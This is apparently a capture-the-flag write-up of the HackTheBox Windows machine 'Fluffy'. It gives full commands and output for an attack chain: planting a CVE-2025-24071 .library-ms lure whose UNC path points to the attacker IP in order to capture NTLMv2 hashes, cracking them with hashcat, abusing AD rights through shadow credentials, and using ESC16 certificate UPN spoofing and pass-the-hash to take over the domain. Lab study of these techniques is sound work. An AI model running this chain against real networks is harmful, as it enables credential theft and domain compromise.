RECON
Creds
MACHINE INFORMATION
As is common in real life Windows pentests, you will start the Fluffy box with credentials for the following account:
j.fleischman / J0elTHEM4n1990!
Port Scan
$ rustscan -a $target_ip --ulimit 2000 -r 1-65535 -- -A -sC -Pn
PORT STATE SERVICE REASON VERSION
53/tcp open domain syn-ack Simple DNS Plus
88/tcp open kerberos-sec syn-ack Microsoft Windows Kerberos (server time: 2025-05-25 08:43:11Z)
139/tcp open netbios-ssn syn-ack Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: fluffy.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-05-25T08:44:49+00:00; +7h00m00s from scanner time.
| ssl-cert: Subject: commonName=DC01.fluffy.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.fluffy.htb
| Issuer: commonName=fluffy-DC01-CA/domainComponent=fluffy
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-04-17T16:04:17
| Not valid after: 2026-04-17T16:04:17
| MD5: 2765:a68f:4883:dc6d:0969:5d0d:3666:c880
| SHA-1: 72f3:1d5f:e6f3:b8ab:6b0e:dd77:5414:0d0c:abfe:e681
| -----BEGIN CERTIFICATE-----
| MIIGJzCCBQ+gAwIBAgITUAAAAAJKRwEaLBjVaAAAAAAAAjANBgkqhkiG9w0BAQsF
| ...
|_-----END CERTIFICATE-----
445/tcp open microsoft-ds? syn-ack
464/tcp open kpasswd5? syn-ack
593/tcp open ncacn_http syn-ack Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: fluffy.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.fluffy.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.fluffy.htb
| Issuer: commonName=fluffy-DC01-CA/domainComponent=fluffy
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-04-17T16:04:17
| Not valid after: 2026-04-17T16:04:17
| MD5: 2765:a68f:4883:dc6d:0969:5d0d:3666:c880
| SHA-1: 72f3:1d5f:e6f3:b8ab:6b0e:dd77:5414:0d0c:abfe:e681
| -----BEGIN CERTIFICATE-----
| MIIGJzCCBQ+gAwIBAgITUAAAAAJKRwEaLBjVaAAAAAAAAjANBgkqhkiG9w0BAQsF
| ...
|_-----END CERTIFICATE-----
|_ssl-date: 2025-05-25T08:44:50+00:00; +7h00m00s from scanner time.
3268/tcp open ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: fluffy.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-05-25T08:44:49+00:00; +7h00m00s from scanner time.
| ssl-cert: Subject: commonName=DC01.fluffy.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.fluffy.htb
| Issuer: commonName=fluffy-DC01-CA/domainComponent=fluffy
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-04-17T16:04:17
| Not valid after: 2026-04-17T16:04:17
| MD5: 2765:a68f:4883:dc6d:0969:5d0d:3666:c880
| SHA-1: 72f3:1d5f:e6f3:b8ab:6b0e:dd77:5414:0d0c:abfe:e681
| -----BEGIN CERTIFICATE-----
| MIIGJzCCBQ+gAwIBAgITUAAAAAJKRwEaLBjVaAAAAAAAAjANBgkqhkiG9w0BAQsF
| ...
|_-----END CERTIFICATE-----
3269/tcp open ssl/ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: fluffy.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.fluffy.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.fluffy.htb
| Issuer: commonName=fluffy-DC01-CA/domainComponent=fluffy
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-04-17T16:04:17
| Not valid after: 2026-04-17T16:04:17
| MD5: 2765:a68f:4883:dc6d:0969:5d0d:3666:c880
| SHA-1: 72f3:1d5f:e6f3:b8ab:6b0e:dd77:5414:0d0c:abfe:e681
| -----BEGIN CERTIFICATE-----
| MIIGJzCCBQ+gAwIBAgITUAAAAAJKRwEaLBjVaAAAAAAAAjANBgkqhkiG9w0BAQsF
| ...
|_-----END CERTIFICATE-----
|_ssl-date: 2025-05-25T08:44:50+00:00; +7h00m00s from scanner time.
5985/tcp open http syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf syn-ack .NET Message Framing
49667/tcp open msrpc syn-ack Microsoft Windows RPC
49677/tcp open msrpc syn-ack Microsoft Windows RPC
49678/tcp open ncacn_http syn-ack Microsoft Windows RPC over HTTP 1.0
49680/tcp open msrpc syn-ack Microsoft Windows RPC
49698/tcp open msrpc syn-ack Microsoft Windows RPC
49713/tcp open msrpc syn-ack Microsoft Windows RPC
49747/tcp open msrpc syn-ack Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| p2p-conficker:
| Checking for Conficker.C or higher...
| Check 1 (port 37486/tcp): CLEAN (Timeout)
| Check 2 (port 57052/tcp): CLEAN (Timeout)
| Check 3 (port 26972/udp): CLEAN (Timeout)
| Check 4 (port 37715/udp): CLEAN (Timeout)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-time:
| date: 2025-05-25T08:44:12
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
|_clock-skew: mean: 6h59m59s, deviation: 0s, median: 6h59m59s
Environment Profile:
- Domain:
fluffy.htb
- DC Hostname:
DC01.fluffy.htb
- SSL Certificate Issuer:
fluffy-DC01-CA
→ indicates AD Certificate Services (AD CS) might be active. - Time Skew:
+7h
→ fix time skew error for Kerberos ticket validity.
Key Ports Discovered:
- 53 – DNS (domain resolution)
- 88 – Kerberos (authentication)
- 139, 445 – SMB (file sharing, auth)
- 389, 636, 3268, 3269 – LDAP/LDAPS (AD queries)
- 464 – kpasswd (Kerberos password change)
- 593, 9389, 496xx – MS-RPC (DCOM, WMI, BloodHound)
- 5985 – WinRM (remote PowerShell)
USER
Leveraging Netexec, we initiate enumeration using the foothold credentials j.fleischman / J0elTHEM4n1990!
.
SMB Enum
Using the --shares
flag, we enumerate access rights on available SMB shares:
$ nxc smb dc01.fluffy.htb -u 'j.fleischman' -p 'J0elTHEM4n1990!' --shares
SMB 10.129.128.33 445 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:fluffy.htb) (signing:True) (SMBv1:False)
SMB 10.129.128.33 445 DC01 [+] fluffy.htb\j.fleischman:J0elTHEM4n1990!
SMB 10.129.128.33 445 DC01 [*] Enumerated shares
SMB 10.129.128.33 445 DC01 Share Permissions Remark
SMB 10.129.128.33 445 DC01 ----- ----------- ------
SMB 10.129.128.33 445 DC01 ADMIN$ Remote Admin
SMB 10.129.128.33 445 DC01 C$ Default share
SMB 10.129.128.33 445 DC01 IPC$ READ Remote IPC
SMB 10.129.128.33 445 DC01 IT READ,WRITE
SMB 10.129.128.33 445 DC01 NETLOGON READ Logon server share
SMB 10.129.128.33 445 DC01 SYSVOL READ Logon server share
We confirm read/write access to a custom share named IT
:
$ smbclient //dc01.fluffy.htb/IT -U 'fluffy.htb\j.fleischman%J0elTHEM4n1990!'
smb: \> ls
. D 0 Sun May 25 02:00:47 2025
.. D 0 Sun May 25 02:00:47 2025
Everything-1.4.1.1026.x64 D 0 Fri Apr 18 08:08:44 2025
Everything-1.4.1.1026.x64.zip A 1827464 Fri Apr 18 08:04:05 2025
KeePass-2.58 D 0 Fri Apr 18 08:08:38 2025
KeePass-2.58.zip A 3225346 Fri Apr 18 08:03:17 2025
Upgrade_Notice.pdf A 169963 Sat May 17 07:31:07 2025
5842943 blocks of size 4096. 1966861 blocks available
Directory dump reveals:
- KeePass-2.58.zip → a password manager, which could contain encrypted credentials in a
.kdbx
(KeePass database) file. - Everything-1.4.1.1026.x64.zip → a file indexing/search tool.
Upgrade_Notice.pdf
→ A PDF file may contain other interesting information.
Snag all three:
smb: \> mget KeePass-2.58.zip
smb: \> mget Everything-1.4.1.1026.x64.zip
smb: \> mget Upgrade_Notice.pdf
For a cleaner transfer, mount the share to avoid all buffer/time constraints:
Bash# Mount sudo mkdir -p /mnt/fluffy-it sudo mount -t cifs //dc01.fluffy.htb/IT /mnt/fluffy-it \ -o username='j.fleischman',password='J0elTHEM4n1990!',domain='fluffy.htb' # Copy files cp /mnt/fluffy-it/KeePass-2.58.zip . # Umount sudo umount /mnt/fluffy-it
The PDF references known CVEs—likely context for the tools:

Unzip the KeePass archive:
$ unzip KeePass-2.58.zip -d keepass
$ tree keepass
keepass
├── KeePass.chm
├── KeePass.exe
├── KeePass.exe.config
├── KeePassLibC32.dll
├── KeePassLibC64.dll
├── KeePass.XmlSerializers.dll
├── Languages
├── License.txt
├── Plugins
├── ShInstUtil.exe
└── XSL
├── KDBX_Common.xsl
├── KDBX_DetailsFull_HTML.xsl
├── KDBX_DetailsLight_HTML.xsl
├── KDBX_PasswordsOnly_TXT.xsl
└── KDBX_Tabular_HTML.xsl
4 directories, 13 files
We discover a configuration file KeePass.exe.config
:
<?xml version="1.0" encoding="utf-8" ?>
<configuration>
<startup useLegacyV2RuntimeActivationPolicy="true">
<supportedRuntime version="v4.0" />
<supportedRuntime version="v2.0.50727" />
</startup>
<runtime>
<assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1">
<dependentAssembly>
<assemblyIdentity name="KeePass"
publicKeyToken="fed2ed7716aecf5c"
culture="neutral" />
<bindingRedirect oldVersion="2.0.9.0-2.57.127.127"
newVersion="2.58.0.0" />
</dependentAssembly>
</assemblyBinding>
<enforceFIPSPolicy enabled="false" />
<loadFromRemoteSources enabled="true" />
</runtime>
<appSettings>
<add key="EnableWindowsFormsHighDpiAutoResizing" value="true" />
</appSettings>
</configuration>
This KeePass.exe.config
file is a standard .NET application config file, but it doesn't directly expose credentials.
However, this line in KeePass.exe.config
:
<loadFromRemoteSources enabled="true" />
…instructs the .NET runtime to permit loading assemblies (DLLs) from remote locations, including:
- UNC paths (
\\attacker\share\malicious.dll
) - Mapped drives
- Even web-based locations (in older versions or misconfigured cases)
Normally, this would be blocked by .NET's security policy — unless explicitly allowed like here.
The setting is a major red flag in the context of a user extracting and running KeePass.exe from a ZIP archive, from where we possess write access. It strongly suggests the environment is prepared to load something from a remote location — a classic staging point for intranet phishing via SMB path tricks, and spoofing lures, or phishing payloads delivered via intranet share references.
CVE-2025-24071
Overview
Among the disclosed CVEs in the PDF, CVE-2025-24071 stands out as a precise match for the current setup. It is a recent CVE (AFAIR a few months ago, I read the report and guess this could be a good setup for HTB machines — and now here it is).
CVE-2025-24071 is a spoofing vulnerability in Windows File Explorer that allows attackers to capture NTLM hashes through minimal user interaction. The flaw arises from Windows Explorer's automatic processing of .library-ms
files, which are XML-based and define library locations.
When a specially crafted
.library-ms
file containing a malicious SMB path is compressed within a RAR or ZIP archive and subsequently extracted, Windows Explorer automatically parses the file to generate previews or index metadata.This automatic processing triggers an SMB authentication request to the attacker's server, resulting in the disclosure of the user's NTLMv2 hash. The attacker can then use this hash for pass-the-hash attacks or offline cracking.
In our case: a user is possibly downloading and extracting the KeePass-2.58.zip
from SMB server, revealed by the KeePass configuration file enabling loadFromRemoteSources
— this gives us a perfect opportunity to swap this archive with a weaponized version crafted using the CVE-2025-24071 exploit.
Phishing
First, we craft the weapon—using the CVE-2025-24071 PoC repo (or create one manually, which is quite easy). It generates a .library-ms
file designed to provoke SMB authentication to our controlled server:

Use the provided PoC to generate the malicious ZIP:
python exploit.py -f Microsoft -i $attacker_ip
This creates a minimal XML file like:
XML<?xml version="1.0" encoding="UTF-8"?> <libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library"> <searchConnectorDescriptionList> <searchConnectorDescription> <simpleLocation> <url>\\10.10.45.11\shared</url> </simpleLocation> </searchConnectorDescription> </searchConnectorDescriptionList> </libraryDescription>
We can opt to pack it manually in a ZIP file.
The exploit is packed inside exploit.zip
. Now we rebrand it to match the original:
mv exploit.zip KeePass-2.58.zip
Or emulate a real-life stealthy scenario, we unzip the
exploit.zip
and embed the generatedMicrosoft.library-ms
file into the originalKeePass-2.58.zip
.
We now deploy. Mount the IT
share:
sudo mount -t cifs \
//dc01.fluffy.htb/IT /mnt/ \
-o username='j.fleischman',password='J0elTHEM4n1990!',domain='fluffy.htb'
Overwrite the existing archive:
sudo cp KeePass-2.58.zip /mnt/KeePass-2.58.zip
Sanity-check the drop to confirm payload presence:
$ unzip -l /mnt/KeePass-2.58.zip
Archive: /mnt/KeePass-2.58.zip
Length Date Time Name
--------- ---------- ----- ----
363 2025-05-24 23:06 Microsoft.library-ms
--------- -------
363 1 file
Now, trigger the trap. Launch Responder to intercept the authentication:
sudo responder -I tun0
But—nothing. No connections.
Turns out the server parses .library-ms
files only when the archive name differs from the original. A crude but effective filter. So we can cleanup the SMB server and swap subtlety for temptation (e.g.: by renaming the trap as porn.zip
):

Apparently, the bait worked—the victim found the file enticing enough to take the plunge. Now the malicious .library-ms
is processed automatically—leaking NTLMv2 hashes with zero clicks.
Hashcat
The trap was sprung. Responder snagged a live NTLMv2 hash as soon as FLUFFY\p.agila
extracted the ZIP:
p.agila::FLUFFY:aef91712e2e78932:FC49FFE707188A372478EF9234D166A5:010100000000000080A13A0003CDDB018B327D4F73ACC0FE00000000020008004D00430031004B0001001E00570049004E002D00410044004B005A005000440059003400460046004B0004003400570049004E002D00410044004B005A005000440059003400460046004B002E004D00430031004B002E004C004F00430041004C00030014004D00430031004B002E004C004F00430041004C00050014004D00430031004B002E004C004F00430041004C000700080080A13A0003CDDB0106000400020000000800300030000000000000000100000000200000F7ACDA41858AA98D60686E613A0A537444EF69081D2BD36DC7FAE88DC5C776E00A0010000000000000000000000000000000000009001E0063006900660073002F00310030002E00310030002E00310036002E0036000000000000000000
We offload the hash for cracking:
hashcat -m 5600 p.agila.hash /usr/share/wordlists/rockyou.txt --force
Moments later, the box gives:
P.AGILA::FLUFFY:aef91712e2e78932:fc49f...:prometheusx-303
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 5600 (NetNTLMv2)
We have a new account p.agila / prometheusx-303
:

Unfortunately, no remote login privileges.
BloodHound
We deploy bloodhound-python
using p.agila
's freshly cracked credentials to interrogate the domain:
bloodhound-python -u 'p.agila' -p 'prometheusx-303' -d 'fluffy.htb' -ns $target_ip --zip -c All -dc 'dc01.fluffy.htb'
We found out p.agila
is a member of SERVICE ACCOUNT MANAGERS
, which holds GenericAll
rights over the SERVICE ACCOUNTS
group:

That group contains three accounts:

And winrm_svc
? It's got remote logon privileges over WinRM, as its name suggests:

DACL Abuse
GenericAll
Therefore, the privesc path is crystal clear, with the all mighty GenericAll
privilege as user p.agila
.
To compromise the target winrm_svc
in the SERVICE ACCOUNTS
group, we need to first add ourselves to the group, via bloodyAD add groupMember
:
bloodyAD --host $target_ip -d 'fluffy.htb' \
-u 'p.agila' -p 'prometheusx-303' \
add groupMember 'SERVICE ACCOUNTS' 'p.agila'
Then, for good measure, seize ownership via bloodyAD set owner
:
bloodyAD --host $target_ip -d 'fluffy.htb' \
-u 'p.agila' -p 'prometheusx-303' \
set owner 'SERVICE ACCOUNTS' 'p.agila'
GenericWrite
However, direct password resets on SERVICE ACCOUNTS
members—like winrm_svc
—are blocked. We only have GenericWrite
, not full control:

There're also quite a few way to exploit, for example:
Shadow Credentials Attack
With GenericWrite
, we shift to the Shadow Credentials technique—an elegant abuse vector for service accounts. We've used it before (Certified, Haze)—it's time-tested.
We can use many tools for this purpose, like bloodyAD, pywhisker, certipy, PKINITtools, etc. Since Certipy has a nice update with a new documentation called "Certipy Wiki", we can test its new release in this practise:
bash ft.sh fluffy.htb \
certipy shadow auto \
-username '[email protected]' -password 'prometheusx-303' \
-account winrm_svc
Using Certipy with Kerberos-base authentication, we can compensate for the clock skew using
faketime
, introduced in the Certified writeup (or leverage a bash script wrapper mentioned in the Haze writeup for Arch Linux distro — what I do here).
The attack silently implants shadow credentials on winrm_svc
. Moments later:

WinRM
Armed with the NTLM hash, we pivot through pass-the-hash:
evil-winrm -i pluffy.htb -u 'winrm_svc' -H '33bd09dcd697600edf6b3a7af4875767'

Access granted. We breach the host via WinRM and capture the user flag.
ROOT
Cert Publishers
From earlier BloodHound recon, one target stands out: ca_svc
, a service account with direct membership in the CERT PUBLISHERS
group:

it shows a privilege escalation path via certificate infrastructure abuse — specifically related to the Cert Publishers group.
This isn't just cosmetic. Members of CERT PUBLISHERS
hold publish rights in an AD CS infrastructure—allowing certificate manipulation and abuse paths tied to identity injection.
According to Microsoft docs and the Hacker Recipes, this means:
“You can weaponize this to mint certs that impersonate other users.”
Therefore, we can compromise ca_svc
via shadow credentials—same method used on winrm_svc
. An automate script for the objective:
#!/bin/bash
set -x
TARGET="10.129.248.121"
# Add group
bloodyAD --host $TARGET -d 'fluffy.htb' \
-u 'p.agila' -p 'prometheusx-303' \
add groupMember 'SERVICE ACCOUNTS' 'p.agila' || true
# Set owner
bloodyAD --host $TARGET -d 'fluffy.htb' \
-u 'p.agila' -p 'prometheusx-303' \
set owner 'SERVICE ACCOUNTS' 'p.agila'
who
# Hack: Shadow credentials
bash ft.sh fluffy.htb \
certipy shadow auto \
-username '[email protected]' -password 'prometheusx-303' \
-account ca_svc
Hacked:

Certipy
Run an initial scan against the CA using our new foothold via the certipy find
module:
certipy find -target 'dc01.fluffy.htb' -dc-ip $target_ip \
-u 'ca_svc' -hashes 'ca0f4f9e9eb8a092addf53bb03fc98c8'
The report reveals multiple exploitable elements, but one stands out:
{
"Vulnerabilities": {
"ESC16": "Security Extension is disabled"
},
"Certificate Authorities": {
"fluffy-DC01-CA": {
"DNS Name": "DC01.fluffy.htb",
"Request Disposition": "Issue",
"Web Enrollment": {
"http": false,
"https": false
},
"Permissions": {
"Owner": "FLUFFY.HTB\\Administrators",
"Access Rights": {
"Issue and Manage Certificates": [
"FLUFFY.HTB\\Domain Admins",
"FLUFFY.HTB\\Enterprise Admins",
"FLUFFY.HTB\\Administrators"
],
"Manage CA": [
"FLUFFY.HTB\\Domain Admins",
"FLUFFY.HTB\\Enterprise Admins",
"FLUFFY.HTB\\Administrators"
],
"Publish Certificates": [
"FLUFFY.HTB\\Cert Publishers"
]
}
}
}
},
"Published Templates": [
{
"Template Name": "User",
"Display Name": "User",
"Enabled": true,
"Schema Version": 1,
"Extended Key Usage": [
"Encrypting File System",
"Secure Email",
"Client Authentication"
],
"User Enrollable Principals": [
"FLUFFY.HTB\\Domain Users"
],
"Remarks": {
"ESC2": "Template can be targeted as part of ESC2 exploitation.",
"ESC3": "Template can be targeted as part of ESC3 exploitation."
}
},
{
"Template Name": "EFS",
"Display Name": "Basic EFS",
"Enabled": true,
"Extended Key Usage": [
"Encrypting File System"
],
"User Enrollable Principals": [
"FLUFFY.HTB\\Domain Users"
]
},
{
"Template Name": "Machine",
"Display Name": "Computer",
"Enabled": true,
"Extended Key Usage": [
"Client Authentication",
"Server Authentication"
],
"User Enrollable Principals": [
"FLUFFY.HTB\\Domain Computers"
],
"Remarks": {
"ESC2": "Template can be targeted as part of ESC2 exploitation.",
"ESC3": "Template can be targeted as part of ESC3 exploitation."
}
}
]
}
⚠️ ESC16 Vulnerability flagged.
Upgrade Certipy to newest version for ESC16 by specifying the
python3.12
path forpipx
:Bashpipx install git+https://github.com/ly4k/[email protected] \ --python /home/Axura/.pyenv/versions/3.12.3/bwhicin/python
So we don't need to screw up our preferred Python environment.
ESC16
Overview
Vulnerability Detected: ESC16
"ESC16": "Security Extension is disabled"
ESC16 abuse is possible when security extensions (1.3.6.1.4.1.311.25.2) are disabled — confirms that KeyCredential link objects can be abused.
This extension is critical for strong certificate mapping — without it, Kerberos domain controllers (DCs) may fall back to weak mapping methods like UPN or DNS, which can be abused.
ESC16 is also mentioned in the Certipy Wiki.
Attack Scenarios:
- UPN Manipulation (ESC16 alone)
- Attacker modifies a victim account's
userPrincipalName
to match a target (e.g.,administrator
). - Requests a certificate (no SID ext due to ESC16).
- Reverts UPN.
- Authenticates as the target.
- Attacker modifies a victim account's
- ESC16 + ESC6 (Full Enforcement bypass)
- Injects SAN UPN + SAN SID URL into certificate request.
- KDC uses injected SID in SAN (not extension), leading to privilege escalation.
In this case, we can choose the attack path 1 to perform a UPN manipulation attack.
Templates
We have several enabled certificate templates that:
- Are published by the CA
- Allow Domain Users or Domain Computers to enroll
- Have schema version 1 (which makes them candidates for ESC1, ESC2, or ESC3 depending on other permissions)
Among them, the "User"
template is the most exposed:
"Template Name": "User",
"User Enrollable Principals": [ "FLUFFY.HTB\\Domain Users" ],
"Schema Version": 1,
"Remarks": {
"ESC2": "...",
"ESC3": "..."
}
- Anyone in Domain Users can enroll into this template.
- Schema version 1 templates don't implement stronger security controls introduced in newer versions.
- ESC2/ESC3 refer to abuse via enrollment rights + ACL control.
A perfect foothold for forging certs and climbing the privilege chain.
UPN Manipulation
We start by querying the current UPN of the victim account ca_svc
:
certipy account \
-u '[email protected]' -hashes 'ca0f4f9e9eb8a092addf53bb03fc98c8' \
-dc-ip $target_ip -user 'ca_svc' \
read
Output:
[*] Reading attributes for 'ca_svc':
cn : certificate authority service
distinguishedName : CN=certificate authority service,CN=Users,DC=fluffy,DC=htb
name : certificate authority service
objectSid : S-1-5-21-497550768-2797716248-2627064577-1103
sAMAccountName : ca_svc
servicePrincipalName : ADCS/ca.fluffy.htb
userPrincipalName : [email protected]
userAccountControl : 66048
whenCreated : 2025-04-17T16:07:50+00:00
whenChanged : 2025-05-25T15:25:56+00:00
Our goal will be overwriting the userPrincipalName
([email protected]
) to [email protected]
.
This allows us to impersonate the administrator account during certificate enrollment. We perform the overwrite:
certipy account \
-u '[email protected]' -hashes 'ca0f4f9e9eb8a092addf53bb03fc98c8' \
-dc-ip $target_ip -upn 'administrator' \
-user 'ca_svc' \
update
Re-running the read confirms the UPN hijack:

We now request a certificate for ca_svc
, which—due to the UPN overwrite—will be interpreted as a request for administrator
. Since ESC16 is in play, the CA omits SID binding, falling back to the spoofed UPN alone:
certipy req -dc-ip $target_ip \
-u '[email protected]' -hashes 'ca0f4f9e9eb8a092addf53bb03fc98c8' \
-target 'DC01.fluffy.htb' \
-ca 'fluffy-DC01-CA' \
-template 'User'
A certificate with UPN administrator
is now generated by the CA:

Before moving on, revert the spoofed UPN to prevent conflicts with the real administrator account:
certipy account \
-u '[email protected]' -hashes 'ca0f4f9e9eb8a092addf53bb03fc98c8' \
-dc-ip $target_ip -upn 'ca_svc' \
-user 'ca_svc' \
update
With the certificate administrator.pfx
in hand, we authenticate and extract both the TGT and NT hash:
bash ft.sh fluffy.htb \
certipy auth \
-dc-ip $target_ip -pfx 'administrator.pfx' \
-username 'Administrator' -domain 'fluffy.htb'
Result:
[*] Certificate identities:
[*] SAN UPN: 'administrator'
[*] Using principal: '[email protected]'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'administrator.ccache'
[*] Wrote credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for '[email protected]': aad3b435b51404eeaad3b435b51404ee:8da83a3fa618b6e3a00e93f676c92a6e
We pass-the-hash and step into domain admin territory:

Rooted.
Comments | NOTHING